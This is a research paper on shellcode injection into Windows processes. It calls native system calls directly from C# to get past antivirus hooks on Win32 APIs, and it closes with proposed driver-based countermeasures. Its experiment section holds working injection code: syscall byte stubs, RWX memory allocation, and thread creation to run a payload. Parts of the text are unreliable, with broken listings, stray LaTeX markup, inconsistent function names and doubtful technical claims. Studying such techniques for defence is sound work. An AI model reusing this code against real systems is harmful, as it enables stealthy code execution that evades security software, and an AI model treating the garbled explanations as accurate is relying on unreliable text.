Testing Platform Invoke as a Tool for Shellcode Injection in Windows Applications

V K Fedorov¹, E G Balenko², N V Gololobov³, K E Izrailov⁴
¹Rector of the Don State Agrarian University, Doctor of Agricultural Sciences, Professor
²Head of the Department of Natural Sciences, Don State Agrarian University, Candidate of Agricultural Sciences, Associate Professor
³St. Petersburg State University of Telecommunications prof. Bonch-Bruevich, St. Petersburg, Russia
⁴St. Petersburg State University of Telecommunications prof. Bonch-Bruevich, Saint Petersburg, Russia

E-mail: dongau@mail.ru, balenko2008@mail.ru, neptu133@gmail.com, konstantin.izrailov@mail.ru

Abstract. This paper investigates software attacks based on shellcode injection in Windows applications. The attack uses platform invoke to inject binary code by means of system calls. This creates a separate threat that carries the payload. The paper overviews protections against shellcode injection and thus analyzes the injection methods as well. Analysis models the injection of malicious code in a Windows app process. As a result, the paper proposes a step-by-step injection method. Experimental injection of user code in PowerShell is performed to test the method. The paper further shows the assembly code of the system call as an example of finding their IDs in the global system call table; it also shows part of the source code for the injection of binary executable code. Various counterattacks are proposed in the form of software control modules based on architecture drivers. The paper analyzes the feasibility of using dynamic invoke, which the authors plan to do later on.

1. Introduction
Recent years have seen an upsurge in attacks that give the hacker full or partial access to the system whilst undetected by Windows’ standard security tools. Exploiting a software vulnerability implies multiple risks, and the worst consists in unauthorized execution of code in the context of legitimate software (or a package thereof [1]).

This paper discusses shellcode injection in Windows applications that rely on system libraries. Such applications are mostly written in C#, which isolates the execution of applications within a virtual machine. This approach creates additional security by adding another layer of abstraction between the OS and the executable code.

The goal hereof is to test the possibility of attacking native Windows application by using novel mechanisms to inject shellcode. The paper further proposes methods of protection against such attacks.
The novelty of the proposed approach consists in the first use of platform invoke to for system call-mediated injection.

The study will be structured as follows. First, the paper describes implicit calls of Win32 API functions from the attacked application. Secondly, it proposes a mechanism for intercepting system calls that can trace and intercept calls to the Windows kernel. Thirdly, it shows a shellcode injection experiment to substantiate the proposed method. Thirdly, it proposes protection (or damage mitigation) mechanisms.

This study uses reliable sources: research papers approved by the world scientific community and technical documentation from the software developers.

2. Literature review
This section overviews the existing protections against shellcode injection.

Paper [2] considers protection against code injection in SQL queries. To that end, it proposes a protective shell between the database and the user application. The shell is designed to block invalid SQL operators.

Paper [3] considers buffer overflow attacks that allow malicious code to be executed. This class of attacks relies on the structural information about the memory that carries the binary code. Protective concept consists in random mixing of functional blocks of the app, which jeopardizes the attacker’s efforts.

Paper [4] proposes creating a special gateway that checks if the input is correct in order to filter out malicious code. The verification function is created automatically. Similar input verification approaches are presented in [5].

Paper [6] presents GMSA, a tool that detects various injection attacks by collecting multiple signatures. The results prove this tool highly efficient.

Thus, all the reviewed protections against shellcode injection, albeit quite efficient, may fail if the attack uses platform invoke.

3. Executable code injection model
Literature review and the authors’ experience helped model the injection of executable code into a process, see Figure 1. This model projects the sequence of attack stages onto the Windows architecture. The model is a set of OS components ordered top-down from the least privileged components. The entry point is a user process that the kernel functions are called from as a result of context switch; the output is a separate threat that carries the payload, i.e., the executable code.
This model can help develop the injection method itself. Numbers in the figure show the sequence of steps.

System calls are preferred due to how antiviruses interact with them. When calling Win32 API [7], protections intercept the call to check if it is suspicious. If the call is considered malicious, it is blocked, and its execution is interrupted. This is done by slightly altering the set of frequent API calls so as to locate the antivirus-controlled code, which is verified, and, assuming that the call is authorized, returns to the code of the original API call.

Thus, CreateThread and CreateRemoteThread are two API interfaces that are commonly used to inject shellcode into a local or remote process. These APIs are defined in the files of dynamic Windows libraries in Kernel32.dll, according to the MSDN documentation. This dynamic library is a user-mode library; therefore, it can be accessed by the running user applications and does not interact directly with the OS or the CPU. Win32 API is essentially a layer of abstraction over the native Windows API, i.e., kernel-mode API, as it is closer to the OS and the underlying hardware. Technically, there are even lower levels which actually run the kernel functions but are not explicit. Native API is the lowest level that is still open and can be accessed by user applications; it connects the user code to the OS.

In fact, Kernel32.dll is a higher-level library than ntdll.dll, which is right on the border between the user mode and the kernel mode.

A Win32 API call calls a native API function, which crosses this border and accesses the kernel. User-mode code never interacts directly with the hardware or the OS. Therefore, it can access lower-level functions via native PIs. Another reason is Microsoft’s convention on the ability to modify native APIs. Use of two-level interface allows altering the kernel API without modifying the user-mode application code. In fact, some functions of the native API change frequency from Windows version to Windows version; yet, these changes do not affect user-mode code as Win32 API remains the same.

For the purposes hereof, Win32 API and native APIs mainly differ in that antivirus software can intercept Win32 API calls but not native calls. The reason is that native calls are considered kernel-
mode, and user code cannot alter it. There are a few exceptions, e.g., drivers. Thus, security systems cannot intercept native API calls whereas the attack can still call them. This effectively creates access to the same functions without calls being intercepted and analyzed by the security systems. This is the fundamental value of system calls.

4. Executable code injection method
The proposed attack method follows this algorithm.

Step 1. Wait for context switch
This step consists in busy waiting for system call [8] that will switch the context to kernel space. Busy waiting only concerns the target process in order to “stay low”. The thing is, processes can produce thousands of system calls a second, and processing them for each process would significantly slow down the OS.

Having successfully acquired the signal, the hacker can start injecting by creating a runtime. Before the next step, the process is in the kernel space context, and corresponding API functions can be called.

Step 2. Create the payload runtime
This can be considered the key step of the method. Upon receiving signal on entering the kernel space, the functions NtAllocateVirtualMemory, NtCreateThreadEx, and NtWaitForSingleObject will allocate dynamic memory to store the binary code of the payload, and create a thread to execute such code; this thread is then set to wait. As a result, executable code is substituted in the main thread of the target process.

Each named native AP has a corresponding system call ID that corresponds to an SSDT entry. To use a system call, one needs to know not only the name of the API, but also the system call ID and the target Windows version, as system call IDs change from version to version.

Step 3. Waiting for context backswitch.
This step consists in busy waiting for the context to switch back to the user space by virtue of a system call. Successful acquisition of the signal will call continued execution of the main thread code that has been substituted with a payload: executable binary code.

Executable code can be substituted for many reasons, one of which is the coexistence of C# code runtimes. In essence, a virtual machine that executes the code will not detect such substitution as it thinks the OS substituted the code, and the OS is higher in the privilege hierarchy.

5. Experiment
This section describes the experiment with the proposed injection method and its preparation.

WinGdb is the debugger we used to find system call IDs. This was mainly done by lookup in their original source: ntdll.dll, a dynamic library.

The first system call needed to inject code is NtAllocateVirtualMemory. This native API function reserves and/or commits a page domain in the virtual address space of the user mode of the specified process. This allocates the memory the injected shellcode will need. Such search can be implemented in nearly any Windows application, as ntdll.dll is quite commonly used by applications in general. Figure 2 shows the sequence of the required assembly instructions in the dynamic library.
Calling system calls in an app is a procedure that normally follows a certain template where some arguments are configured in a stack; this can be seen in the example of the instruction `mov r10, rcx` followed by moving the system call ID to the `eax` register shown herein as `mov eax, 18h`. `eax` is the register the system call instruction uses for each system call.

Apparently, system call ID for `NtAllocateVirtualMemory` is 18 in hexadecimal format. Similarly, we found system call IDs for `NtCreateThreadEx` and `NtWaitForSingleObject`. They create and run a thread to execute the injected shellcode in the context of the attacked application.

The use of the above system calls is no coincidence. They are the three key calls from Win32 API using `VirtualAlloc`, `CreateThread`, and `WaitForSingleObject`, which allocate memory for the injected shellcode, create a thread to point to the injected shellcode, and run the created thread, respectively.

MSDN documentation applies to C and C++, but not to C#. This problem can be solved by platform invoke-enabled marshaling. Marshaling is a method for using unmanaged code, e.g., C/C++, in a managed context [9], in this case C#.

Since system calls are not documented, Microsoft does not provide for such interaction method. Yet this interaction is possible thanks to delegates. They point to functions that allow the user to pass functions onto other functions as parameters. Here, delegates are used to define the type of return value and the signature of the function that the utilized system call corresponds to. Marshaling is used here to make sure that C/C++ data types are C#-compatible.

In fact, native API cannot be called explicitly, as its only implementation is in the kernel. Moreover, even if the definition of a function and its parameters are known, native API cannot be called due to the Win32 API wrapper that provides context switch. Nevertheless, API can be called from the kernel by executing assembly instructions found by researching with the debugger. Listing 1 shows an example of calling `NtAllocateVirtualMemory` by this method.

```c
static byte[] bNtAllocateVirtualMemory =
{
    0x4c, 0x8b, 0xd1, // mov r10,rcx
    0xb8, 0x18, 0x00, 0x00, 0x00, // mov eax,18h
    0x0F, 0x05, // syscall
    0xC3, // ret
};
```

Listing 1. Example of calling `NtAllocateVirtualMemory`.

Some arguments in the stack are preconfigured, system call ID moves to the eax register, and system call operator is executed, see the comments. The function is called on a low enough level, and native API call goes unnoticed by the kernel.

Use of delegates simplifies the call, as they essentially point to functions [10, 11]. Thus, once a pointer to assembly code is there that features certain arguments in a format consistent with the C/C++ calling convention, native kernel API can be called.
Listings 2 and 3 show parts of the source code for injecting source code in a process.

Listing 2.

```
/*
MSDN:
NTSTATUS NtAllocateVirtualMemory(
    HANDLE ProcessHandle,     // C#: IntPtr
    PVOID* BaseAddress,       // C#: IntPtr
    ULONG_PTR ZeroBits,       // C#: IntPtr
    PSIZE_T RegionSize,       // C#: IntPtr
    ULONG AllocationType,     // C#: uint
    ULONG Protect            // C#: uint
); */

static byte[] bNtAllocateVirtualMemory =
{
    0x4c, 0x8b, 0xd1,         // mov r10,rcx
    0xb8, 0x18, 0x00, 0x00, 0x00,   // mov eax,18h
    0x0f, 0x05,           // syscall
    0xc3              // ret
};

Listing 2. Part of the source code of the shellcode injection software.

Comments specify the signature of the NtAllocateVirtualMemory function for C/C++ as well as C# counterparts for the data types.

public static NTSTATUS NtAllocateVirtualMemory(
    IntPtr ProcessHandle,
    ref IntPtr BaseAddress,
    IntPtr ZeroBits,
    ref UIntPtr RegionSize,
    uint AllocationType,
    uint Protect )
{
    // set byte array of bNtAllocateVirtualMemory to new byte array called syscall
    byte[] syscall = bNtAllocateVirtualMemory;

    // specify unsafe context
    unsafe
    {
        // create new byte pointer and set value to our syscall byte array
        fixed (byte* ptr = syscall)
        {
            // cast the byte array pointer into a C# IntPtr called memoryAddress
            IntPtr memoryAddress = (IntPtr)ptr;

            // Change memory access to RX for our assembly code
```
if (!VirtualProtectEx(Process.GetCurrentProcess().Handle, memoryAddress, (UIntPtr)syscall.Length, (uint)AllocationProtect.PAGE_EXECUTE_READWRITE, out uint oldprotect))
{
    throw new Win32Exception();
}

// Get delegate for NtAllocateVirtualMemory
Delegates.NtAllocateVirtualMemory assembledFunction =
(Delegates.NtAllocateVirtualMemory)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(Delegates.NtAllocateVirtualMemory));

return (NTSTATUS)assembledFunction(
    ProcessHandle,
    ref BaseAddress,
    ZeroBits,
    ref RegionSize,
    AllocationType,
    Protect);

Listing 3. Part of the source code of the shellcode injection software.

This code implements a definition for `NtAllocateVirtualMemory` that is acceptable for calling from C#; it creates a pointer to assembly instructions with a system call inside the block defined by the keyword `unsafe`. This allows executing C# operations such as use of raw memory, which are normally unsafe in managed code. The keyword `fixed` is used so that the C# garbage collector would not move the memory allocated by the system call, nor change the pointers.

Once a raw pointer to the shellcode’s location in the memory has been acquired, its memory protection mode needs to be changed to allow execution so that the data it points to could be launched directly, as it is, in fact, a function pointer. `VirtualProtectEx`, a Win32 API, is used to that end. This call is essentially used in the managed code to avoid the need to hide native API calls from security software.

Notably, flagging memory as read, write, or execute usually constitutes suspicious activity; however, undetected page flagging is outside the scope of this paper and will be covered in further publications.

Listing 4 shows the structure that declares delegates that can call native API.

public struct Delegates
{
    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    public delegate NTSTATUS NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        IntPtr ZeroBits,
        ref UIntPtr RegionSize,
        ulong AllocationType,
        ulong Protect);

    [UnmanagedFunctionPointer(CallingConvention.StdCall)]
    public delegate NTSTATUS NtCreateThreadEx(
        out IntPtr hThread,
        ACCESS_MASK DesiredAccess,
        IntPtr ObjectAttributes,
        // Other parameters...
IntPtr ProcessHandle,
IntPtr lpStartAddress,
IntPtr lpParameter,
bool CreateSuspended,
uint StackZeroBits,
uint SizeOfStackCommit,
uint SizeOfStackReserve,
IntPtr lpBytesBuffer
);

[UnmanagedFunctionPointer(CallingConvention.StdCall)]
public delegate NTSTATUS NtWaitForSingleObject(IntPtr Object, bool Alertable,
uint Timeout);

Listing 4. Source code structure with system call delegates.

Delegate definition is the function signature and type of return value. The implementation is used-dependent and should be consistent with the definition of the delegate, i.e., with the implementation of NtAllocateVirtualMemory in C# code.

The code creates a delegate named AssemblydFunction, which takes advantage of the special marshaling function Marshal.GetDelegateForFunctionPointer. This method retrieves a delegate from a function pointer, i.e., a pointer to assembly instructions of system calls, named memoryAddress. Therefore, AssemblydFunction points to a function in assembly language, and now we can run a system call.

Calling AssemblydFunction is the same as calling any other function. Once correct arguments are passed, system call of NtAllocateVirtual Memory will be made. Thus, the return statement calls AssemblydFunction with the passed arguments and returns the output, see Listing 5.

IntPtr hCurrentProcess = GetCurrentProcess();
IntPtr pMemoryAllocation = new IntPtr(); // needs to be passed as ref
IntPtr pZeroBits = IntPtr.Zero;
UIntPtr pAllocationSize = new IntPtr(Convert.ToUInt32(payload.Length)); // needs to be passed as ref
uint allocationType = (uint)Native.AllocationType.Commit |
(Native.AllocationType.Reserve); // reserve and commit memory
uint protection = (uint) Native.AllocationProtect.PAGE_EXECUTE_READWRITE; // set the memory protection to RWX, not suspicious at all...

/* Allocate memory for shellcode via syscall (alternative to VirtualAlloc Win32 API) */
try
{
  var ntAllocResult = NtAllocateVirtualMemory(hCurrentProcess, ref
pMemoryAllocation, pZeroBits, ref pAllocationSize, allocationType, protection);
  Console.WriteLine($"[*] Result of NtAllocateVirtualMemory is {ntAllocResult}");
  Console.WriteLine($"[*] Address of memory allocation is 0x{pMemoryAllocation}");
}
catch
{
  Console.WriteLine("[*] NtAllocateVirtualMemory failed.");
  Environment.Exit(1);
}

Listing 5. Part of the code that calls delegates.
Listing 5 shows \texttt{NtAllocateMemory} call instead of Win32 API \texttt{VirtualAlloc}. Function call is preconfigured to have all the necessary arguments and call \texttt{NtAllocateMemory}. This code returns a memory block for the injected shellcode as if \texttt{VirtualAlloc} was called. The remaining steps are the same and are shown in Listing 6.

```csharp
/* Create a new thread to run the shellcode (alternative to CreateThread Win32 API) */
try {
    var hThreadResult = NtCreateThreadEx(out hThread, desiredAccess,
    pObjectAttributes, hCurrentProcess, pMemoryAllocation, lpParameter,
    bCreateSuspended, stackZeroBits, sizeOfStackCommit, sizeOfStackReserve,
    pBytesBuffer);
    Console.WriteLine($"[*] Result of NtCreateThreadEx is {hThreadResult}");
    Console.WriteLine($"[*] Thread handle returned is {hThread}");
} catch {
    Console.WriteLine("[*] NtCreateThread failed.");
}

/* Wait for the thread to start (alternative to WaitForSingleObject Win32 API) */
try {
    var result = NtWaitForSingleObject(hThread, true, 0); // alertable or not alertable, no change...
    Console.WriteLine($"[*] Result of NtWaitForSingleObject is {result}");
} catch {
    Console.WriteLine("[*] NtWaitForSingleObject failed.");
    Environment.Exit(1);
}
```

Listing 6. Part of source code with the \texttt{NtCreateThreadEx} and \texttt{NtWaitForSingleObject} calls.

In general, the injection experiment follows this algorithm:

1) Copy the shellcode into memory allocated by \texttt{NtAllocateVirtualMemory}.
2) Create a thread in the current process to point to that memory by a system call, \texttt{NtCreateThreadEx}.
3) Run the created thread by calling \texttt{NtWaitForSingleObject}.

This algorithm injects shellcode in the in PowerShell.

### 6. Countermeasures

For countermeasures, we can propose the following methods that act on different architectural levels.

The high-level solution is to monitor kernel API calls. This mechanism should be deployed in the level preceding the kernel, the security ring 2, and provide a simple interface that trusted and non-trusted components (in relation to the mechanism) could use to communicate.

To protect against unauthorized native API calls, one should bear in mind that a kernel might receive dozens of thousands of calls every minute; monitoring each call will hinder the system’s performance.
This mechanism can be implemented as a system driver [12, 13] based on protocol interaction between the components. Classifying the components as trusted and untrusted ones helps systematize such interaction to improve the performance.

Thus, pre-installed and developer or publisher-signed applications [14] (similarly to how drivers are signed) can be trusted. Trusted applications need not be monitored. In its pure post-installation state, an OS only has trusted applications.

Non-trusted applications are any unsigned applications or applications that the Windows Defender considers suspicious. Monitoring such applications will not compromise performance as they are not many; the end user will likely notice no change in the system’s performance.

An alternative solution is to create a mechanism to monitor the continuous growth of virtual memory held by a process [15-18].

Once executable code has been injected in a process, resources cannot be freed in the context of the target process; in particular, it becomes impossible to free virtual memory and delete the thread due to instantaneous transition to running the payload. Thus, if the injection occurs more than once, and the target process is not closed, the resources it holds will increase linearly by the size of the payload.

In this case, if the mechanism detects increase in memory consumption, the process can be terminated or restarted depending on what the user needs.

The mechanism for monitoring the continuous increase in process-held virtual memory can be implemented as a system driver that initiates and manages the processing of system events, including process termination or suspension signal.

Such mechanisms could be quite efficient as they are in close proximity to the OS kernel. On the one hand, this creates more privileges and thus broader functionality. On the other hand, structured interaction with drivers reduces the load on the PC, which improves the OS performance in general.

7. Conclusions

The paper describes a shellcode injection and execution model. Based on this model, it proposes a corresponding method and presents an experiment for testing it. The results of the experiment prove the original hypothesis.

System calls can be a great tool for attacks if their execution is not monitored. Nevertheless, use of system calls is associated with some obvious challenges. First, they require a lot of boilerplate code. Secondly, native API is poorly documented, which is why it takes longer to prepare an attack. Thirdly, system call IDs change frequently from version to version of Windows, which is why such an attack must be fine-tuned to the target platform. Fourthly, debugging the exploit is difficult due to transitions between managed and unmanaged code.

Dynamic invoke addresses some of these issues. This is why research into this mechanism and its ability to inject shellcode is to be carried out further down the road.

8. References

[1] Buinevich M V, Izrailov K E, Kotenko I V, Kurta P A 2021 Method and algorithms of visual audit of program interaction Journal of Internet Services and Information Security T 11 1 pp 16-43

[2] Li Shan, Dong Xiaorui and Rao Hong 2010 An adaptive method preventing database from SQL injection attacks 2010 3rd International Conference on Advanced Computer Theory and Engineering (ICACTE) pp V1-352-V1-355 doi: 10.1109/ICACTE.2010.5579002

[3] Gupta J, Habibi M S, Kirkpatrick and Bertino E 2015 Marlin: Mitigating Code Reuse Attacks Using Code Randomization in IEEE Transactions on Dependable and Secure Computing vol. 12 3 pp 326-337 doi: 10.1109/TDSC.2014.2345384

[4] Lin J and Chen J 2007 The Automatic Defense Mechanism for Malicious Injection Attack 7th IEEE International Conference on Computer and Information Technology (CIT 2007) pp 709-714, doi: 10.1109/CIT.2007.21
[5] Lin J, Chen J and Liu C 2008 An Automatic Mechanism for Sanitizing Malicious Injection 2008 The 9th International Conference for Young Computer Scientists pp 1470-1475 doi: 10.1109/ICYCS.2008.182

[6] Alnabulsi H, Islam R and Talukder M 2018 GMSA: Gathering Multiple Signatures Approach to Defend Against Code Injection Attacks in IEEE Access vol 6 pp 77829-77840 doi: 10.1109/ACCESS.2018.2884201

[7] Fujino J, Murakami and Mori T 2015 Discovering similar malware samples using API call topics 2015 12th Annual IEEE Consumer Communications and Networking Conference (CCNC) pp 140-147 doi: 10.1109/CCNC.2015.7157960

[8] Zhou Q and Yuan D 2013 Linux system-calls processes based on the arm processor 2013 10th International Computer Conference on Wavelet Active Media Technology and Information Processing (ICCWAMTIP) pp 201-203 doi: 10.1109/ICCWAMTIP.2013.6716631

[9] Queinnee C 1999 Marshaling/demarshaling as a compilation/interpretation process Proceedings 13th International Parallel Processing Symposium and 10th Symposium on Parallel and Distributed Processing IPPS/SPDP 1999 pp 616-621 doi: 10.1109/IPPS.1999.760541

[10] Zhou H, Yuan J, Du Z, Kang K and Zhu X 2019 PointerLock: Protecting Function Pointers with Access Control on Page 2019 International Conference on Intelligent Computing Automation and Systems (ICICAS) pp 622-627 doi: 10.1109/ICICAS48597.2019.00136

[11] Milanova A, Routneve A and Ryder B G 2002 Precise call graph construction in the presence of function pointers Proceedings Second IEEE International Workshop on Source Code Analysis and Manipulation pp 155-162 doi: 10.1109/SCAM.2002.1134115

[12] Zavala S, Shashidhar N and Varol C 2020 Cybersecurity Evaluation with PowerShell 2020 8th International Symposium on Digital Forensics and Security (ISDFS) pp 1-6 doi: 10.1109/ISDFS49300.2020.9116258

[13] Yongxiang Guo and Wu Deng 2010 Design of network device driver in embedded Linux 2010 International Conference on Computer Application and System Modeling (ICCASM 2010) pp V12-445-V12-448 doi: 10.1109/ICCASM.2010.5622349

[14] Xiong Kun, Ji Xing and Gan Yong 2011 A model of trusted software based on software gene 2011 International Conference on Computer Science and Service System (CSSS) pp 990-993 doi: 10.1109/CSSS.2011.5974720

[15] Gauhar Eram Shaikh and Shrawankar U 2015 Dynamic memory allocation technique for virtual machines 2015 IEEE International Conference on Electrical, Computer and Communication Technologies (ICECCT) pp 1-6 doi: 10.1109/ICECCT.2015.7226091

[16] Kotenko I, Saenko I, Lauta O, Kribel A 2020 An approach to detecting cyber attacks against smart power grids based on the analysis of network traffic self-similarity Energies 13(19) 5031

[17] Bagretsov S A, Lauta O S, Klimenko A I, Balenko E G 2019 Data Acquisition Technologies and System for Automating, Record-Keeping and Managing Water Supply Processes International Multi-Conference on Industrial Engineering and Modern Technologies, FarEastCon 2019 8934400

[18] Bagretsov S A, Lauta O S, Klimenko A I, Balenko E G 2019 Method of Providing Rationale for Reasonable Number of Backup Communication Channels in Information Telecommunication Network 2019 International Multi-Conference on Industrial Engineering and Modern Technologies FarEastCon 2019 8934242

Acknowledgments
Research funded by RFBR under Research Project No. 19-29-06099.